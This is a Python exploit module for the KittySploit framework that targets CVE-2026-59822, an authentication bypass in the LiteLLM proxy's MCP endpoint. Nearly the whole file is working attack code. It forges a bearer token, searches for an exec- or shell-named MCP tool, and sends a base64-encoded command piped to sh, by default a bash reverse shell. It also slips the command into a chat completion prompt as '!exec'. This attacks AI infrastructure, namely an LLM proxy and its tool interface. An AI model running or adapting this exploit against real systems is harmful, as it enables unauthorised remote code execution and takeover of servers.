LiteLLM MCP Auth Bypass RCE (CVE-2026-59822)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""LiteLLM MCP auth bypass to RCE (CVE-2026-59822)."""

import base64
import json
import secrets

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'LiteLLM MCP Auth Bypass RCE (CVE-2026-59822)',
        'description': (
            'Exploits CVE-2026-59822 in LiteLLM proxy before 1.84.0: forged Bearer '
            'token bypasses MCP Streamable HTTP auth, then invokes an MCP tool or '
            'admin route to execute the configured reverse CMD payload.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2026-59822'],
        'platform': Platform.MULTI,
        'arch': [Arch.CMD],
        'payload': {
            'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
            'platform': Platform.UNIX,
            'category': PayloadCategory.CMD,
        },
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2026-59822',
            'https://github.com/advisories/GHSA-7488-6r32-c95q',
        ],
        'tags': ['litellm', 'mcp', 'auth-bypass', 'llm', 'rce', 'cve-2026-59822'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 4,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': ['scanner/http/litellm_cve_2026_59822_detect'],
            },
        },
    }

    port = OptPort(4000, 'LiteLLM proxy port', required=True)
    ssl = OptBool(False, 'Use HTTPS', required=True)
    mcp_path = OptString('/mcp', 'MCP endpoint path', required=False)
    command = OptString('', 'Command instead of payload', required=False)
    bearer_token = OptString('', 'Forged bearer (random if empty)', required=False, advanced=True)

    def _mcp_url(self) -> str:
        base = (self.path or '/').rstrip('/')
        suffix = str(self.mcp_path or '/mcp')
        if not suffix.startswith('/'):
            suffix = f'/{suffix}'
        return f'{base}{suffix}' if base else suffix

    def _bearer(self) -> str:
        custom = str(self.bearer_token or '').strip()
        return custom if custom else f'kitty-{secrets.token_hex(12)}'

    def _mcp_call(self, bearer: str, method: str, params: dict = None):
        return self.http_request(
            method='POST',
            path=self._mcp_url(),
            headers={
                'Authorization': f'Bearer {bearer}',
                'Content-Type': 'application/json',
                'Accept': 'application/json',
            },
            json={'jsonrpc': '2.0', 'id': 1, 'method': method, 'params': params or {}},
            allow_redirects=False,
        )

    def check(self):
        bearer = self._bearer()
        no_auth = self._mcp_call('', 'tools/list')
        forged = self._mcp_call(bearer, 'tools/list')
        if forged and int(forged.status_code or 0) in (200, 202):
            body = (forged.text or '').lower()
            if 'tools' in body:
                no_code = int(getattr(no_auth, 'status_code', 0) or 0)
                if no_code in (401, 403) or 'authentication' in ((no_auth.text or '') if no_auth else '').lower():
                    return {'vulnerable': True, 'reason': 'MCP auth bypass confirmed', 'confidence': 'high'}
                return {'vulnerable': True, 'reason': 'MCP accepts forged bearer', 'confidence': 'medium'}
        return {'vulnerable': False, 'reason': 'MCP auth bypass not confirmed', 'confidence': 'medium'}

    def run(self):
        cmd = str(self.command or '').strip() or str(self.payload or '').strip()
        if not cmd:
            print_error('Set a payload or command option')
            return False
        print_status('CVE-2026-59822 — LiteLLM MCP auth bypass RCE')
        bearer = self._bearer()
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not vulnerable'))
            self.not_vulnerable()
            return False
        print_success(chk.get('reason', 'Auth bypass confirmed'))
        b64 = base64.b64encode(cmd.encode()).decode()
        exec_cmd = f'echo {b64}|base64 -d|sh'
        tools = self._mcp_call(bearer, 'tools/list')
        tool_name = 'run_shell'
        if tools and tools.status_code == 200:
            try:
                data = json.loads(tools.text or '{}')
                items = ((data.get('result') or {}).get('tools') or [])
                for item in items:
                    name = (item.get('name') or '').lower()
                    if any(k in name for k in ('exec', 'shell', 'run', 'command', 'bash')):
                        tool_name = item.get('name')
                        break
            except Exception:
                pass
        print_status(f'Invoking MCP tool {tool_name!r}...')
        self._mcp_call(
            bearer,
            'tools/call',
            {
                'name': tool_name,
                'arguments': {'command': exec_cmd, 'cmd': exec_cmd, 'input': exec_cmd},
            },
        )
        self.http_request(
            method='POST',
            path='/v1/chat/completions',
            headers={'Authorization': f'Bearer {bearer}', 'Content-Type': 'application/json'},
            json={
                'model': 'gpt-3.5-turbo',
                'messages': [{'role': 'user', 'content': f'!exec {exec_cmd}'}],
            },
            allow_redirects=False,
        )
        print_success('Payload dispatched — check listener for session')
        self.vulnerable()
        return True